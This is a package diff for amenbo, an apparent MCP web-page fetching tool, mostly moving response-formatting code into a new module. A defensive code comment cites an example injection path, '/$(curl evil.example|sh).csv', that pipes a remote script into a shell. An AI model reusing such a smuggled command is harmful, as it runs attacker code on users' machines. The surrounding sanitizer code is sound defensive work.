amenbo 0.2.0 → 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +3 -2
- package/README.md +3 -2
- package/dist/adapters/index.d.ts +3 -1
- package/dist/adapters/index.js +3 -3
- package/dist/adapters/index.js.map +1 -1
- package/dist/cache.d.ts +17 -1
- package/dist/cache.js +105 -54
- package/dist/cache.js.map +1 -1
- package/dist/cli.js +2 -1
- package/dist/cli.js.map +1 -1
- package/dist/core.d.ts +21 -33
- package/dist/core.js +10 -204
- package/dist/core.js.map +1 -1
- package/dist/extract/markdown.d.ts +116 -0
- package/dist/extract/markdown.js +502 -4
- package/dist/extract/markdown.js.map +1 -1
- package/dist/extract/outline.d.ts +18 -0
- package/dist/extract/outline.js +22 -3
- package/dist/extract/outline.js.map +1 -1
- package/dist/fetcher/http.d.ts +1 -1
- package/dist/fetcher/http.js +1 -1
- package/dist/formatting.d.ts +48 -0
- package/dist/formatting.js +203 -0
- package/dist/formatting.js.map +1 -0
- package/dist/server.js +2 -1
- package/dist/server.js.map +1 -1
- package/package.json +1 -1
package/dist/core.js
CHANGED
|
@@ -3,7 +3,8 @@
|
|
|
3
3
|
*
|
|
4
4
|
* politeness/cacheのシングルトン、二段フェッチ・キャッシュ・品質判定を経た本文解決
|
|
5
5
|
* (resolvePage)・スクリーンショット解決(resolveScreenshot)・PDF専用経路(handlePdfFetch)、
|
|
6
|
-
* および各ツール(fetch/screenshot)
|
|
6
|
+
* および各ツール(fetch/screenshot)のハンドラをここに集約する。応答の文字列整形は
|
|
7
|
+
* formatting.tsが担う(このファイルはformatting.tsの結果を組み立てて返すのみ)。
|
|
7
8
|
* server.tsはMCPツール登録とstdioトランスポート接続のみを、cli.tsは引数パースと
|
|
8
9
|
* 標準出力/ファイル出力のみを担当し、いずれもこのモジュールをimportして利用する。
|
|
9
10
|
*/
|
|
@@ -15,13 +16,13 @@ import { diffMarkdown } from "./diff.js";
|
|
|
15
16
|
import { AmenboError, SectionNotFoundError } from "./errors.js";
|
|
16
17
|
import { detectDataSources } from "./extract/dataSources.js";
|
|
17
18
|
import { extractMarkdown } from "./extract/markdown.js";
|
|
18
|
-
import { buildOutline,
|
|
19
|
+
import { buildOutline, findSection, formatBreadcrumb } from "./extract/outline.js";
|
|
19
20
|
import { DEFAULT_PDF_MAX_BYTES, extractPdfText, looksLikePdf, markdownFromPdfText, renderPdfPages } from "./extract/pdf.js";
|
|
20
|
-
import { buildHandoffPreview } from "./extract/preview.js";
|
|
21
21
|
import { evaluateQuality } from "./extract/qualityScore.js";
|
|
22
22
|
import { closeBrowser } from "./fetcher/browser.js";
|
|
23
23
|
import { fetchPage } from "./fetcher/index.js";
|
|
24
|
-
import { assertHttpScheme, httpGetBinary
|
|
24
|
+
import { assertHttpScheme, httpGetBinary } from "./fetcher/http.js";
|
|
25
|
+
import { buildScreenshotContent, formatDiffResponse, formatHandoffResponse, formatMarkdownResponse, formatOutlineResponse, formatPdfResponseFromCache, formatPdfTextResponse, formatUnchangedResponse, } from "./formatting.js";
|
|
25
26
|
import { PolitenessManager } from "./politeness.js";
|
|
26
27
|
import { captureTiledScreenshot, DEFAULT_TILE_WIDTH } from "./screenshot.js";
|
|
27
28
|
import { computeBlockHashes, removeTemplateBlocks } from "./templateLearning.js";
|
|
@@ -359,203 +360,7 @@ async function resolveScreenshot(url, options) {
|
|
|
359
360
|
truncated: captured.truncated,
|
|
360
361
|
};
|
|
361
362
|
}
|
|
362
|
-
function adapterLine(adapterName) {
|
|
363
|
-
return adapterName ? [`adapter: ${adapterName}`] : [];
|
|
364
|
-
}
|
|
365
|
-
/**
|
|
366
|
-
* 抽出経路の注記。"readability"(既定の成功経路)/"adapter"(adapter:行と重複するため省略)/
|
|
367
|
-
* "selector"(ユーザー指定なので自明)は表示せず、Phase 4の "geometry" と、
|
|
368
|
-
* 品質が疑わしい "body-fallback" のみユーザーへ明示する(トークン節約)。
|
|
369
|
-
*/
|
|
370
|
-
function extractionMethodLine(method) {
|
|
371
|
-
return method === "geometry" || method === "body-fallback" ? [`extraction: ${method}`] : [];
|
|
372
|
-
}
|
|
373
|
-
/** Phase 4: テンプレート学習で除去した定型ブロック数(0件なら表示しない。トークン節約)。 */
|
|
374
|
-
function templateRemovedLine(templateRemovedCount) {
|
|
375
|
-
return templateRemovedCount > 0 ? [`template_blocks_removed: ${templateRemovedCount}`] : [];
|
|
376
|
-
}
|
|
377
|
-
/** N6: 単一ブロックがmax_tokens予算を超過し、分割できずそのまま返した場合のみ明示する。 */
|
|
378
|
-
function budgetExceededLine(paginated) {
|
|
379
|
-
return paginated.exceededBudget ? [`budget_exceeded: true(単一ブロックがmax_tokensを超過しています)`] : [];
|
|
380
|
-
}
|
|
381
|
-
/** 機能C: 構造化データリンクのヒント(検出ゼロなら空文字=トークン増ゼロ)。 */
|
|
382
|
-
export function dataSourcesSection(hints) {
|
|
383
|
-
return hints.length > 0 ? `\n\ndata_sources:\n${hints.join("\n")}` : "";
|
|
384
|
-
}
|
|
385
|
-
function formatMarkdownResponse(page, paginated, sectionId, templateRemovedCount) {
|
|
386
|
-
const header = [
|
|
387
|
-
`title: ${page.title ?? "(なし)"}`,
|
|
388
|
-
`url: ${page.finalUrl}`,
|
|
389
|
-
`mode_used: markdown`,
|
|
390
|
-
...(sectionId ? [`section: ${sectionId}`] : []),
|
|
391
|
-
`cache: ${page.cacheStatus}`,
|
|
392
|
-
`tokens: ${paginated.tokens}`,
|
|
393
|
-
`page: ${paginated.page} of ${paginated.totalPages}`,
|
|
394
|
-
`fetch_tier: ${page.tier}`,
|
|
395
|
-
`pruned_blocks: ${page.prunedBlockCount}`,
|
|
396
|
-
...adapterLine(page.adapterName),
|
|
397
|
-
...extractionMethodLine(page.extractionMethod),
|
|
398
|
-
...templateRemovedLine(templateRemovedCount),
|
|
399
|
-
...budgetExceededLine(paginated),
|
|
400
|
-
].join("\n");
|
|
401
|
-
return `${header}\n\n${paginated.content}${dataSourcesSection(page.dataSourceHints)}`;
|
|
402
|
-
}
|
|
403
|
-
/** §3-3 差分応答: 本文ハッシュ一致(約10トークンの短文応答)。 */
|
|
404
|
-
function formatUnchangedResponse(page) {
|
|
405
|
-
return [`url: ${page.finalUrl}`, `mode_used: markdown`, `cache: unchanged`].join("\n");
|
|
406
|
-
}
|
|
407
|
-
function formatSectionDiffBlock(diff) {
|
|
408
|
-
const label = diff.type === "added" ? "追加" : diff.type === "removed" ? "削除" : "変更";
|
|
409
|
-
if (diff.type === "removed") {
|
|
410
|
-
return `${"#".repeat(diff.level)} ${diff.heading} [${label}]`;
|
|
411
|
-
}
|
|
412
|
-
const lines = diff.content.split("\n");
|
|
413
|
-
if (lines.length > 0 && /^#{1,6}\s/.test(lines[0] ?? "")) {
|
|
414
|
-
lines[0] = `${lines[0]} [${label}]`;
|
|
415
|
-
return lines.join("\n");
|
|
416
|
-
}
|
|
417
|
-
return `${"#".repeat(diff.level)} ${diff.heading} [${label}]\n\n${diff.content}`;
|
|
418
|
-
}
|
|
419
|
-
/** §3-3 差分応答: 変更・追加・削除された節のみ返却。 */
|
|
420
|
-
function formatDiffResponse(page, sections, templateRemovedCount) {
|
|
421
|
-
const counts = { added: 0, changed: 0, removed: 0 };
|
|
422
|
-
for (const section of sections)
|
|
423
|
-
counts[section.type]++;
|
|
424
|
-
const header = [
|
|
425
|
-
`title: ${page.title ?? "(なし)"}`,
|
|
426
|
-
`url: ${page.finalUrl}`,
|
|
427
|
-
`mode_used: markdown`,
|
|
428
|
-
`cache: diff`,
|
|
429
|
-
`changed_sections: ${sections.length}(追加${counts.added}/変更${counts.changed}/削除${counts.removed})`,
|
|
430
|
-
`fetch_tier: ${page.tier}`,
|
|
431
|
-
...adapterLine(page.adapterName),
|
|
432
|
-
...extractionMethodLine(page.extractionMethod),
|
|
433
|
-
...templateRemovedLine(templateRemovedCount),
|
|
434
|
-
].join("\n");
|
|
435
|
-
return `${header}\n\n${sections.map(formatSectionDiffBlock).join("\n\n")}${dataSourcesSection(page.dataSourceHints)}`;
|
|
436
|
-
}
|
|
437
|
-
function formatOutlineResponse(page, outline, templateRemovedCount) {
|
|
438
|
-
const header = [
|
|
439
|
-
`title: ${page.title ?? "(なし)"}`,
|
|
440
|
-
`url: ${page.finalUrl}`,
|
|
441
|
-
`mode_used: outline`,
|
|
442
|
-
`cache: ${page.cacheStatus}`,
|
|
443
|
-
`total_tokens: ${outline.totalTokens}`,
|
|
444
|
-
`fetch_tier: ${page.tier}`,
|
|
445
|
-
...adapterLine(page.adapterName),
|
|
446
|
-
...extractionMethodLine(page.extractionMethod),
|
|
447
|
-
...templateRemovedLine(templateRemovedCount),
|
|
448
|
-
].join("\n");
|
|
449
|
-
const body = outline.sections
|
|
450
|
-
.map((section) => `${" ".repeat(section.level - 1)}- [${section.id}] ${"#".repeat(section.level)} ${section.heading} — ${section.excerpt} (~${section.tokens} tok)`)
|
|
451
|
-
.join("\n") || "(見出しが見つかりませんでした。mode: markdown で全文を取得してください)";
|
|
452
|
-
return `${header}\n\n${body}`;
|
|
453
|
-
}
|
|
454
|
-
export function buildScreenshotContent(page, screenshot, reason) {
|
|
455
|
-
const header = [
|
|
456
|
-
`title: ${page.title ?? "(なし)"}`,
|
|
457
|
-
`url: ${screenshot.finalUrl}`,
|
|
458
|
-
`mode_used: screenshot`,
|
|
459
|
-
`cache: ${screenshot.cacheStatus}`,
|
|
460
|
-
`reason: ${reason ?? "明示的にscreenshotが指定されました"}`,
|
|
461
|
-
`tiles: ${screenshot.tiles.length}`,
|
|
462
|
-
`page_size: ${screenshot.pageWidth}x${screenshot.pageHeight}`,
|
|
463
|
-
`fetch_tier: browser`,
|
|
464
|
-
// N7: MAX_TILES切り捨てが発生した場合のみ明示する(トークン節約)
|
|
465
|
-
...(screenshot.truncated ? [`truncated: true(MAX_TILES枚を超えるため切り捨てました)`] : []),
|
|
466
|
-
].join("\n");
|
|
467
|
-
return [
|
|
468
|
-
{ type: "text", text: header },
|
|
469
|
-
...screenshot.tiles.map((tile) => ({ type: "image", data: tile.data.toString("base64"), mimeType: "image/png" })),
|
|
470
|
-
];
|
|
471
|
-
}
|
|
472
|
-
export function formatLinksResponse(url, result) {
|
|
473
|
-
const header = [`url: ${url}`, `source: ${result.source}`, `count: ${result.links.length}${result.truncated ? " (truncated)" : ""}`].join("\n");
|
|
474
|
-
const body = result.links.map((link) => (link.title ? `- ${link.title} — ${link.url}` : `- ${link.url}`)).join("\n");
|
|
475
|
-
// レビュー指摘対応: 0件のとき、フィルタで全部落ちたのか(preFilterCount>0)、
|
|
476
|
-
// sitemap/RSS/ページ自体が空だったのか(preFilterCount===0)をエージェントが判別できるようにする。
|
|
477
|
-
// filter未指定時はpreFilterCount===links.lengthのためこの分岐には入らない。
|
|
478
|
-
const empty = result.preFilterCount > 0
|
|
479
|
-
? `(リンクが見つかりませんでした。フィルタ前 ${result.preFilterCount} 件。filterに一致しませんでした)`
|
|
480
|
-
: "(リンクが見つかりませんでした)";
|
|
481
|
-
return `${header}\n\n${body || empty}`;
|
|
482
|
-
}
|
|
483
|
-
// ---- 機能B: 非HTMLコンテンツのハンドオフ応答 ----
|
|
484
|
-
/**
|
|
485
|
-
* URLのパス末尾からファイル名を推測する(curl -o のデフォルト値用)。取れなければ"download"。
|
|
486
|
-
*
|
|
487
|
-
* セキュリティ修正(CWE-78): WHATWG URLパーサは `'` `;` `|` `$` `` ` `` 等のパス中の文字を
|
|
488
|
-
* パーセントエンコードしないため、攻撃者が細工したURL(例: `/$(curl evil.example|sh).csv`)経由で
|
|
489
|
-
* このファイル名がそのままシェルコマンド文字列(hint行)に混入し、コマンドインジェクションが
|
|
490
|
-
* 成立しうる。curlに渡す提案コマンドの一部として安全に提示できるよう、英数字・`.`・`-`・`_`
|
|
491
|
-
* 以外は全て `_` に置換する。
|
|
492
|
-
*/
|
|
493
|
-
export function guessFilename(url) {
|
|
494
|
-
const rawBase = (() => {
|
|
495
|
-
try {
|
|
496
|
-
const pathname = new URL(url).pathname;
|
|
497
|
-
return pathname.split("/").filter((segment) => segment.length > 0).pop() ?? "";
|
|
498
|
-
}
|
|
499
|
-
catch {
|
|
500
|
-
return "";
|
|
501
|
-
}
|
|
502
|
-
})();
|
|
503
|
-
const sanitized = rawBase.replace(/[^A-Za-z0-9._-]/g, "_");
|
|
504
|
-
return sanitized.length > 0 ? sanitized : "download";
|
|
505
|
-
}
|
|
506
|
-
/**
|
|
507
|
-
* シェルの単一引用符コンテキストへ値を安全に埋め込む(CWE-78対策)。
|
|
508
|
-
* 単一引用符内では `'` 以外は解釈されないため、`'` のみ「引用符を閉じ、
|
|
509
|
-
* エスケープ済み`'`を1つ挿入し、再び引用符を開く」(`'\''`)という定石で表現する。
|
|
510
|
-
*/
|
|
511
|
-
export function shellQuoteSingle(value) {
|
|
512
|
-
return `'${value.replace(/'/g, `'\\''`)}'`;
|
|
513
|
-
}
|
|
514
|
-
/**
|
|
515
|
-
* 機能B: HTML/PDF以外のコンテンツタイプを「行き止まり」のエラーではなく、
|
|
516
|
-
* メタデータ+プレビュー+curl誘導の正常応答として整形する。
|
|
517
|
-
* ファイル全体がAMENBO_MAX_BODY_BYTESを超える場合(Content-Length既知時)は
|
|
518
|
-
* プレビュー自体を省略し、メタデータ+誘導のみを返す。
|
|
519
|
-
*/
|
|
520
|
-
export function formatHandoffResponse(handoff, maxTokens) {
|
|
521
|
-
const filename = guessFilename(handoff.finalUrl);
|
|
522
|
-
const sizeKnown = handoff.declaredSize !== null;
|
|
523
|
-
const sizeLabel = sizeKnown ? `${handoff.declaredSize}` : `${handoff.bytes.length}(取得分。Content-Lengthヘッダ無し)`;
|
|
524
|
-
const oversized = sizeKnown && handoff.declaredSize > resolveDefaultMaxBodyBytes();
|
|
525
|
-
const header = [
|
|
526
|
-
`content_type: ${handoff.contentType ?? "(不明)"}`,
|
|
527
|
-
`size: ${sizeLabel}`,
|
|
528
|
-
`url: ${handoff.finalUrl}`,
|
|
529
|
-
`mode_used: handoff`,
|
|
530
|
-
].join("\n");
|
|
531
|
-
const preview = oversized ? null : buildHandoffPreview(handoff.bytes, handoff.contentType, maxTokens, handoff.truncated);
|
|
532
|
-
const previewBlock = preview ? `\n\n${preview.body}${preview.note ? `\n\n(${preview.note})` : ""}` : "";
|
|
533
|
-
const hint = `\n\nhint: このファイルはamenboの本文抽出対象外です。全体の取得は curl -L -o ${filename} ${shellQuoteSingle(handoff.finalUrl)} を推奨します`;
|
|
534
|
-
return `${header}${previewBlock}${hint}`;
|
|
535
|
-
}
|
|
536
363
|
// ---- PDF対応(URL判定で独立経路。mode/selector/section等は適用しない) ----
|
|
537
|
-
function formatPdfTextResponse(title, finalUrl, cacheStatus, pdfPageCount, paginated) {
|
|
538
|
-
const header = [
|
|
539
|
-
`title: ${title ?? "(なし)"}`,
|
|
540
|
-
`url: ${finalUrl}`,
|
|
541
|
-
`mode_used: markdown`,
|
|
542
|
-
`cache: ${cacheStatus}`,
|
|
543
|
-
`tokens: ${paginated.tokens}`,
|
|
544
|
-
`page: ${paginated.page} of ${paginated.totalPages}`,
|
|
545
|
-
`fetch_tier: pdf`,
|
|
546
|
-
`pdf_pages: ${pdfPageCount}`,
|
|
547
|
-
...budgetExceededLine(paginated),
|
|
548
|
-
].join("\n");
|
|
549
|
-
return `${header}\n\n${paginated.content}`;
|
|
550
|
-
}
|
|
551
|
-
/** キャッシュ済みPDFエントリからテキスト応答を組み立てる(fresh応答/304再検証後の応答で共用)。 */
|
|
552
|
-
function formatPdfResponseFromCache(url, cached, maxTokens, page) {
|
|
553
|
-
const paginated = paginateMarkdown(cached.markdown, maxTokens, page);
|
|
554
|
-
const title = cached.metadata.title ?? null;
|
|
555
|
-
const finalUrl = cached.metadata.finalUrl ?? url;
|
|
556
|
-
const pdfPageCount = Number(cached.metadata.pdfPageCount ?? 0);
|
|
557
|
-
return formatPdfTextResponse(title, finalUrl, "fresh", pdfPageCount, paginated);
|
|
558
|
-
}
|
|
559
364
|
/** PDFはキャッシュ層(§3-3等)を流用しつつ独立した経路で扱う。テキスト層があればMarkdown、無ければ画像タイル。 */
|
|
560
365
|
async function handlePdfFetch(url, page, maxTokens, onProgress) {
|
|
561
366
|
const cached = cache.get(url);
|
|
@@ -676,12 +481,13 @@ export async function handleFetchTool(input) {
|
|
|
676
481
|
const view = { ...resolved, markdown: displayMarkdown, previousMarkdown: previousDisplayMarkdown };
|
|
677
482
|
// sectionが指定された場合は、mode指定に関わらずその節のMarkdownのみを返す(差分応答は適用しない)
|
|
678
483
|
if (input.section) {
|
|
679
|
-
const
|
|
680
|
-
if (
|
|
484
|
+
const section = findSection(view.markdown, input.section);
|
|
485
|
+
if (section === null) {
|
|
681
486
|
throw new SectionNotFoundError(input.url, input.section);
|
|
682
487
|
}
|
|
683
|
-
const paginated = paginateMarkdown(
|
|
684
|
-
|
|
488
|
+
const paginated = paginateMarkdown(section.content, maxTokens, page);
|
|
489
|
+
const breadcrumb = formatBreadcrumb(section.ancestors);
|
|
490
|
+
return [{ type: "text", text: formatMarkdownResponse(view, paginated, input.section, templateRemovedCount, breadcrumb) }];
|
|
685
491
|
}
|
|
686
492
|
if (mode === "outline") {
|
|
687
493
|
const outline = buildOutline(view.markdown);
|
package/dist/core.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"core.js","sourceRoot":"","sources":["../src/core.ts"],"names":[],"mappings":"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